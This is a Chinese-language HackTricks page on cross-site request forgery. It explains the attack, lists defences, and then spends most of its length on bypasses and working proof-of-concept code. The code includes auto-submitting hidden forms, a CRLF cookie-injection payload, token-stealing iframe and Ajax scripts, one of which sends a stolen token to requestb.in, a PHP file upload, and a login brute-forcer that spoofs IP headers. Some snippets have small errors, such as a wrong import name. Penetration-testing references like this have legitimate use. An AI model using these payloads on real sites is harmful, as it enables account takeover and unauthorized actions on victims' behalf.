CSRF (Cross Site Request Forgery)

支持 HackTricks

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激与挑战的内容

实时黑客新闻 通过实时新闻和见解,保持对快速变化的黑客世界的了解

最新公告 了解最新的漏洞赏金计划和重要平台更新

今天就加入我们 Discord,与顶尖黑客开始合作!

跨站请求伪造 (CSRF) 解释

跨站请求伪造 (CSRF) 是一种在 web 应用程序中发现的安全漏洞。它使攻击者能够通过利用用户的认证会话,代表毫无防备的用户执行操作。当一个已登录受害者平台的用户访问恶意网站时,攻击就会被执行。该网站随后通过执行 JavaScript、提交表单或获取图像等方法触发对受害者账户的请求。

CSRF 攻击的前提条件

要利用 CSRF 漏洞,必须满足几个条件:

  1. 识别有价值的操作:攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。

  2. 会话管理:用户的会话应仅通过 cookies 或 HTTP 基本认证头进行管理,因为其他头无法用于此目的。

  3. 缺乏不可预测的参数:请求中不应包含不可预测的参数,因为它们可能会阻止攻击。

快速检查

您可以在 Burp 中捕获请求并检查 CSRF 保护,您可以从浏览器中点击 复制为 fetch 并检查请求:

防御 CSRF

可以实施几种对策来保护免受 CSRF 攻击:

  • SameSite cookies:此属性防止浏览器在跨站请求中发送 cookies。了解更多关于 SameSite cookies

  • 跨源资源共享:受害者网站的 CORS 策略可能会影响攻击的可行性,特别是当攻击需要读取受害者网站的响应时。了解 CORS 绕过

  • 用户验证:提示用户输入密码或解决验证码可以确认用户的意图。

  • 检查引荐或来源头:验证这些头可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 可以绕过实施不当的检查,例如:

  • 使用 http://mal.net?orig=http://example.com(URL 以受信任的 URL 结尾)

  • 使用 http://example.com.mal.net(URL 以受信任的 URL 开头)

  • 修改参数名称:更改 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。

  • CSRF 令牌:在每个会话中加入唯一的 CSRF 令牌,并要求在后续请求中使用该令牌,可以显著降低 CSRF 的风险。通过强制实施 CORS,可以增强令牌的有效性。

理解和实施这些防御措施对于维护 web 应用程序的安全性和完整性至关重要。

防御绕过

从 POST 到 GET

也许您想要利用的表单准备发送带有 CSRF 令牌的 POST 请求,但,您应该 检查 如果 GET 也是 有效的,并且当您发送 GET 请求时 CSRF 令牌仍在被验证

缺少令牌

应用程序可能会实现一种机制来 验证令牌,当它们存在时。然而,如果在令牌缺失时完全跳过验证,就会出现漏洞。攻击者可以通过 删除携带令牌的参数,而不仅仅是其值来利用这一点。这使他们能够绕过验证过程,有效地进行跨站请求伪造 (CSRF) 攻击。

CSRF 令牌未与用户会话绑定

未将 CSRF 令牌与用户会话绑定的应用程序存在重大 安全风险。这些系统验证令牌是针对 全局池 而不是确保每个令牌与发起会话绑定。

攻击者如何利用这一点:

  1. 使用自己的账户进行身份验证

  2. 从全局池中获取有效的 CSRF 令牌

  3. 在针对受害者的 CSRF 攻击中使用此令牌

这一漏洞使攻击者能够代表受害者发起未经授权的请求,利用应用程序的 不充分的令牌验证机制

方法绕过

如果请求使用了一个“奇怪的方法,请检查 方法 覆盖功能 是否有效。例如,如果它 使用 PUT 方法,您可以尝试 使用 POST 方法并 发送https://example.com/my/dear/api/val/num?_method=PUT

这也可以通过在 POST 请求中发送 _method 参数 或使用 来实现:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

自定义头令牌绕过

如果请求在请求中添加了一个 自定义头,并将 令牌 作为 CSRF 保护方法,那么:

  • 测试不带 自定义令牌和头 的请求。

  • 测试请求,使用相同 长度但不同的令牌

应用程序可能通过在 cookie 和请求参数中复制令牌,或通过设置 CSRF cookie 并验证后端发送的令牌是否与 cookie 中的值相对应来实现 CSRF 保护。应用程序通过检查请求参数中的令牌是否与 cookie 中的值对齐来验证请求。

然而,如果网站存在漏洞,允许攻击者在受害者的浏览器中设置 CSRF cookie,例如 CRLF 漏洞,则此方法容易受到 CSRF 攻击。攻击者可以通过加载一个欺骗性的图像来设置 cookie,然后发起 CSRF 攻击。

以下是攻击可能如何构建的示例:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

注意,如果csrf token与会话cookie相关,这个攻击将不起作用,因为你需要将会话设置为受害者,因此你实际上是在攻击自己。

Content-Type 更改

根据这个,为了避免预检请求使用POST方法,允许的Content-Type值如下:

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

然而,请注意,服务器逻辑可能会有所不同,具体取决于使用的Content-Type,因此你应该尝试提到的值以及其他值,如**application/json_,_text/xml**, application/xml.

示例(来自这里)将JSON数据作为text/plain发送:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

绕过 JSON 数据的预检请求

在尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 Content-Type: application/json 是不直接可能的。同样,利用 XMLHttpRequest 发送此内容类型会启动预检请求。然而,有一些策略可以潜在地绕过此限制,并检查服务器是否处理 JSON 数据而不考虑 Content-Type:

  1. 使用替代内容类型:通过在表单中设置 enctype="text/plain" 来使用 Content-Type: text/plainContent-Type: application/x-www-form-urlencoded。这种方法测试后端是否利用数据而不考虑 Content-Type。

  2. 修改内容类型:为了避免预检请求,同时确保服务器将内容识别为 JSON,您可以发送 Content-Type: text/plain; application/json 的数据。这不会触发预检请求,但如果服务器配置为接受 application/json,则可能会被正确处理。

  3. SWF Flash 文件利用:一种不太常见但可行的方法是使用 SWF Flash 文件来绕过此类限制。有关此技术的深入理解,请参阅 这篇文章

引用 / 来源检查绕过

避免引用头

应用程序可能仅在 'Referer' 头存在时进行验证。为了防止浏览器发送此头,可以使用以下 HTML 元标签:

<meta name="referrer" content="never">

这确保了“Referer”头被省略,从而可能绕过某些应用程序中的验证检查。

正则表达式绕过

URL Format Bypass

要在Referrer将要在参数中发送的URL中设置服务器的域名,可以执行:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

HEAD 方法绕过

这个 CTF 文章的第一部分解释了Oak 的源代码,一个路由器被设置为将 HEAD 请求作为 GET 请求处理,且没有响应体——这是一种常见的变通方法,并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求,而是直接交给 GET 处理程序,但应用程序只是移除了响应体

因此,如果 GET 请求受到限制,你可以发送一个将被处理为 GET 请求的 HEAD 请求

利用示例

提取 CSRF 令牌

如果使用了CSRF 令牌作为防御,你可以尝试通过利用XSS漏洞或悬挂标记漏洞来提取它

使用 HTML 标签的 GET

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

其他可以用来自动发送 GET 请求的 HTML5 标签包括:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

表单 GET 请求

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

表单 POST 请求

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

通过 iframe 发送表单 POST 请求

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST 请求

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST 请求

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST 请求 v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

从 iframe 内部发送表单 POST 请求

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

窃取 CSRF 令牌并发送 POST 请求

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

窃取 CSRF 令牌并使用 iframe、表单和 Ajax 发送 Post 请求

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

窃取 CSRF 令牌并使用 iframe 和表单发送 POST 请求

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

窃取令牌并使用 2 个 iframe 发送

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POST通过Ajax窃取CSRF令牌并使用表单发送POST

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF与Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF 登录暴力破解

该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头来尝试绕过可能的 IP 黑名单):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Tools

References

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激与挑战的内容

实时黑客新闻 通过实时新闻和见解,跟上快速变化的黑客世界

最新公告 了解最新的漏洞赏金计划和重要平台更新

加入我们 Discord,今天就开始与顶级黑客合作!

支持 HackTricks

Last updated